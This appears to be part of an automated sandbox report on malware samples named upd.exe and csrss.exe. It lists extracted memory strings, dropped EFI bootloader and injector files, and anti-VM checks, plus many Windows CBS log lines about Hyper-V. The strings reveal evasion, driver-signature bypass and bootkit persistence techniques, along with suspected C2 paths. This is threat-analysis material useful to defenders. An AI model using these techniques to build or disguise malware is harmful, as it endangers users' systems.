Source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: ... OMITTING ACCEPT-CHARSETAFTER EFIGUARDALLOCFREETRACEBAD RST MARKERBAD ALLOCCOUNTBAD RECORD MACBAD SPAN STATEBAD STACK SIZEBTC.USEBSV.COMCERT INSTALLEDCHECKSUM ERRORCONTENT-LENGTHCOULDN'T PATCHDATA TRUNCATEDDISTRIBUTOR_IDDRIVER REMOVEDEXIT STATUS -1FILE TOO LARGEFINALIZER WAITGCSTOPTHEWORLDGETPROTOBYNAMEGOT SYSTEM PIDINITIAL SERVERINTERNAL ERRORINVALID SYNTAXIS A DIRECTORYKEY SIZE WRONGLEVEL 2 HALTEDLEVEL 3 HALTEDLOOKUP TXT: %WMEMPROFILERATENEED MORE DATANIL ELEM TYPE!NO MODULE DATANO SUCH DEVICEPARSE CERT: %WPROTOCOL ERRORREAD CERTS: %WREPORT_ID IS 0RUNTIME: BASE=RUNTIME: FULL=S.ALLOCCOUNT= SEMAROOT QUEUESERVER.VERSIONSTACK OVERFLOWSTOPM SPINNINGSTORE64 FAILEDSYNC.COND.WAITTEXT FILE BUSYTIMEENDPERIODTOO MANY LINKSTOO MANY USERSUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN MARKERUNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WORK.FULL != 0X509IGNORECN=1XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: upd.exe, csrss.exe	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETESTING KEYTTL EXPIREDVBOXSERVICEVMUSRVC.EXEVT_RESERVEDVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEALARM CLOCKAPPLICATIONBAD ADDRESSBAD MESSAGE
Source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETESTING KEYTTL EXPIREDVBOXSERVICEVMUSRVC.EXEVT_RESERVEDVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEALARM CLOCKAPPLICATIONBAD ADDRESSBAD MESSAGEBAD TIMEDIVBITCOINS.SKBROKEN PIPECAMPAIGN_IDCGOCALL NILCLOBBERFREECLOSESOCKETCOMBASE.DLLCOMPAIGN_IDCREATED BY CRYPT32.DLLDNSMESSAGE.E2.KEFF.ORGEMBEDDED/%SFILE EXISTSFINAL TOKENFLOAT32NAN2FLOAT64NAN2FLOAT64NAN3GCCHECKMARKGENERALIZEDGET CDN: %WGETPEERNAMEGETSOCKNAMEHTTPS_PROXYI/O TIMEOUTLOCAL ERRORLOST MCACHEMSPANMANUALMETHODARGS(MSWSOCK.DLLNEXT SERVERNIL CONTEXTORANNIS.COMPARSE ERRORPROCESS: %SRAW-CONTROLREFLECT.SETRETRY-AFTERRUNTIME: P RUNTIME: P SCHEDDETAILSECHOST.DLLSECUR32.DLLSERVICE: %SSHELL32.DLLSHORT WRITETASKMGR.EXETLS: ALERT(TRACEALLOC(TRAFFIC UPDUNREACHABLEUSERENV.DLLVERSION=183WININET.DLLWUP_PROCESS (SENSITIVE) [RECOVERED] ALLOCCOUNT FOUND AT *( GCSCANDONE M->GSIGNAL= MINTRIGGER= NDATAROOTS= NSPANROOTS= PAGES/BYTE
Source: upd.exe, csrss.exe	Binary or memory string: TOO MANY LINKSTOO MANY USERSUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN MARKERUNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WORK.FULL != 0X509IGNORECN=1XENSERVICE.EXEZERO PAR

Source: C:\Windows\System32\svchost.exe TID: 6648	Thread sleep time: -240000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe TID: 752	Thread sleep time: -59000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: B:\EFI\Boot\old.efi (copy)	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\EFI\Boot\EfiGuardDxe.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\EFI\Boot\bootx64.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\EFI\Microsoft\Boot\bootmgfw.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: B:\EFI\Microsoft\Boot\fw.efi (copy)	Jump to dropped file

Source: C:\Windows\rss\csrss.exe

Registry key enumerated: More than 173 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\upd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\upd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\upd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\rss\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\windefender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Users\user\Desktop\upd.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe

Code function: 36_2_00007FF7019D5C10 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,

36_2_00007FF7019D5C10

Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 74a95330c532692c7cf7a70ce16db670, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:57:09, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Tools-All, Applicable: NeedsParent, Disposition: Staged
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: too many linkstoo many usersunexpected EOFunknown code: unknown error unknown markerunknown methodunknown mode: unreachable: unsafe.Pointervirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #work.full != 0x509ignoreCN=1xenservice.exezero parameter with GC prog
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Online-Services-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Online-Services-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:57:09, Info CBS Appl: DetectUpdate, Package: Microsoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Remote Parent: Microsoft-Hyper-V, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Package-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 962ff8519dbe320490c8b5e46ae96eb5, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: csrss.exe	Binary or memory string: rinvalid locationloopbackmac_addrmountainmountvolmsvmmoufnamelessno anodeno-cacheno_proxyopPseudopolishedraw-readreadfromrecvfromrestlessrunnableruntime.scavengeshutdownsolitarystrconv.taskkilltwilightunixgramunknown(usernamevmmemctlvmx_svgawitheredwsaioctlwua
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Hypervisor, current State: Default, new state: Off, RemovePayload: 0
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: (MISSING)(unknown)+infinity, newval=, oldval=-07:00:00-infinity/api/cdn?/api/poll244140625: status=; Domain=Accuracy(AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExecQueryFindCloseForbiddenGetDIBitsHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLocalFreeMalayalamMongolianMoveFileWNabataeanNot FoundOP_RETURNOSCaptionPalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]atomicor8b.ooze.ccbad indirbillowingbroadcastbus errorbutterflychallengechan sendcomplex64connectexcopystackcsrss.exectxt != 0d.nx != 0ecdsa.netempty urlfn.48.orgfodhelperfork/execfuncargs(gdi32.dllimage/gifimage/pnginterfaceinterruptipv6-icmplingeringlocalhostmSpanDeadmSpanFreemulticastnew tokennil errorntdll.dllole32.dllomitemptypanicwaitpatch.exepclmulqdqprecisionprintableprotocol psapi.dllraw-writereboot inrecover: reflect: resonancerwxrwxrwxscheduledsmb startsnowflakesparklingsucceededtask %+v
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: a39411adbcba7770488faca4732df809, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package HyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:42, Info CBS Appl: DetectUpdate, Package: Microsoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Remote Parent: Microsoft-Hyper-V-Hypervisor, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-Clients-63, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Default
Source: csrss.exe	Binary or memory string: nInUseno resultsnot a boolnot signedowner diedprl_cc.exeres binderres masterresumptionrune <nil>runtime: gschedtracesemacquireset-cookiesetsockoptsocks bindterminatedtracefree(tracegc() unixpacketunknown pcuser-agentuser32.dllvmusbmousevmware: %wwildflowerws2_
Source: csrss.exe	Binary or memory string: epslicesmallsmokesnowysockssoundsse41sse42ssse3stilltext/tls13tls: totaluint8usageuser=utf-8valuevmusbvmx86voicewaterwhitewispywriteyoung (MB) Value addr= base code= ctxt: curg= goid jobs= list= m->p= next= p->m= prev= span=%s: %s(...) , not , val -BEFV--DY
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Package-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: Microsoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Windows-RemoteFX-Graphics-Virtualization-Host, Applicable: NeedsParent, Disposition: Staged
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: VersionVirtualWSARecvWSASend"%s" %stypes value=abortedalt -> ancientany -> booleancharsetchunkedcmd.execonnectconsolecpu: %scrimsonderivedexpiresfallingfeatherfireflyfloat32float64gctraceglitterhttp://id is 0invalidkdu.exelookup max-agemorningnil keynop -> number panic: patientrefererrefreshrunningserial:server=signal silencesvc_versyscallthundertraileruintptrunknownupgradeversionvmmousevpcuhubwaitingwsarecvwsasendwup_verxen: %wxennet6 data=%q etypes goal
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: d3310f7470f5cc3e99866abe683b453d, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:42, Info CBS Appl: DetectUpdate, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Local Parent: Microsoft-Hyper-V-All, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Services, new state: Off
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Merge into existing execution package for Package: Microsoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, existing TargetedState: Staged, new TargetedState: Staged
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCANCELCarianChakmaClass(CommonCookieCopticDELETEExpectFltMgrFormatFridayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPADDEDPcaSvcPragmaProgidRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFVT(%d)WINDIRWinMonWinmon[]byte\??\%s\csrss\ufffd
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: de764c40154bbe38bec34936ef639ab9, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: HyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 2679350ec0edae52ee03c1daaf55d8c2, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Common-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 878b2f9862ce158a90aa7b5c871b772e, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Offline-Common-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Update: Setting Install State, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V, new state: Off
Source: csrss.exe	Binary or memory string: ikiPRIORITYParseIntPersoconPhags_PaQuestionReadFileReceivedSETTINGSSHA1-RSASaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUgariticVBoxWddmVT_ARRAYVT_BYREFWSAIoctlWinmonFS[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnumacceptexa
Source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: to unallocated span%%!%c(*big.Float=%s)%s\Sysnative\cmd.exe37252902984619140625Arabic Standard TimeAzores Standard TimeCertFindChainInStoreCertOpenSystemStoreWChangeServiceConfigWCheckTokenMembershipCreateProcessAsUserWCryptAcquireContextWDHT has wrong lengthDQT has wrong lengthDRI has wrong lengthEgyptian_HieroglyphsEnumProcessModulesExFileTimeToSystemTimeGetAcceptExSockaddrsGetAdaptersAddressesGetCurrentDirectoryWGetFileAttributesExWGetModuleFileNameExWGetModuleInformationGetProcessMemoryInfoGetWindowsDirectoryWIDS_Trinary_OperatorInsufficient StorageIsrael Standard TimeJordan Standard TimeMAX_HEADER_LIST_SIZEMalformed JSON errorMediapartners-GoogleMeroitic_HieroglyphsNtUnmapViewOfSectionNtWriteVirtualMemoryOffline Explorer/2.5ProcessIdToSessionIdQueryServiceConfig2WQueryServiceStatusExRegisterEventSourceWRequest URI Too LongRtlInitUnicodeStringSHGetKnownFolderPathSOF has wrong lengthSOS has wrong lengthSafeArrayDestroyDataSafeArrayGetElemsizeSeek: invalid offsetSeek: invalid whenceSetCurrentDirectoryWSetHandleInformationSetVolumeMountPointWTaipei Standard TimeTerminal_PunctuationTurkey Standard TimeUnprocessable EntityWinmonProcessMonitor[invalid char class]\\.\pipe\VBoxTrayIPCasn1: syntax error: bad defer size classbad font file formatbad system page sizebad use of bucket.bpbad use of bucket.mpchan send (nil chan)close of nil channelconnection error: %sconnection timed outcouldn't disable DSEcouldn't get IsAdmincouldn't get serverscouldn't run servicecouldn't set IsAdmincouldn't set serverscouldn't stop PsaSvccouldn't write patchelectrum.hsmiths.comelectrum.taborsky.czelectrum.villocq.comflag: help requestedfloating point errorforcegc: phase errorgc_trigger underflowgetadaptersaddressesgo of nil func valuegopark: bad g statusgzip: invalid headerheader line too longhttp2: stream closedinvalid repeat countinvalid request codeis a named type filejson: Unmarshal(nil json: Unmarshal(nil)key has been revokedmSpanList.insertBackmalformed ciphertextmalloc during signalmultiple SOF markersno such struct fieldnon-empty swept listnorm: invalid whencenot an integer classnotetsleep not on g0number has no digitsnumber of componentsp mcache not flushedpacer: assist ratio=pad length too largepreempt off reason: reflect.Value.SetIntreflect.makeFuncStubrequest file CDN: %wroot\SecurityCenter2runtime: casgstatus runtime: double waitruntime: unknown pc semaRoot rotateRightshort segment lengthsystemdrive is emptytime: invalid numbertrace: out of memoryunexpected network: unknown address typeuser is not an adminverifier host cachedwirep: already in goworkbuf is not emptywrite of Go pointer ws2_32.dll not foundzlib: invalid header gp.gcscanvalid=true
Source: csrss.exe	Binary or memory string: time: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (default %q) (default %v) MB released MB) wo
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:57, Info CBS Appl: DetectUpdate, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Local Parent: Microsoft-Hyper-V-All, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:55, Info CBS Exec: Skipping Package: Microsoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 350d2f419bdddcb6a98b096b17a5e4ec because it is already in the correct state.
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 6f103d2215911a17c9aeb968bbb7f0f6, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:55, Info CBS Exec: Package: Microsoft-Hyper-V-Hypervisor-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: unixpacketunknown pcuser-agentuser32.dllvmusbmousevmware: %wwildflowerws2_32.dll of size (targetpc= ErrCode=%v a.npages= b.npages= bytes ...
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Common-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 6c8ed4d2fcb42a918382a31f6ce603ca, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: NonTransitionalNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePartial ContentProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Package: HyperV-Compute-System-VirtualMachine-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1 is already in the correct state, current: Staged, targeted: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: DetectUpdate, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Local Parent: Microsoft-Hyper-V-All, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 8adcd7c28d228e17a421ad9e66bf8586, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:42, Info CBS Appl: DetectUpdate, Package: Microsoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Remote Parent: Microsoft-Hyper-V-Services, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Online-Services-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 38d80af2e352703d5d4e13c0bc9c4856, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-Offline-Core-Group-servercommon-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:56:56, Info CBS Exec: Skipping Package: Microsoft-Hyper-V-Online-Services-vm-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 38d80af2e352703d5d4e13c0bc9c4856 because it is already in the correct state.
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V_base, current: Staged, pending: Default, start: Staged, applicable: Staged, targeted: Staged, limit: Installed, selected: Default
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Hypervisor, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:57:09, Info CBS Appl: Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: Microsoft-Hyper-V-Management-PowerShell, Applicable: NeedsParent, Disposition: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: DetectUpdate, Package: Microsoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Local Parent: Microsoft-Hyper-V, Intended State: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Appl: Evaluating package applicability for package Microsoft-Hyper-V-Offline-Core-Group-onecore-Package~31bf3856ad364e35~amd64~~10.0.17134.1, applicable state: Installed
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged
Source: CBS.log.7.dr	Binary or memory string: 2019-06-27 00:55:58, Info CBS Plan: Package: HyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.17134.1, Update: 1d039a16ef6f80b4a5fd50c2225168a8, current: Staged, pending: Default, start: Staged, applicable: Installed, targeted: Staged, limit: Staged, selected: Default
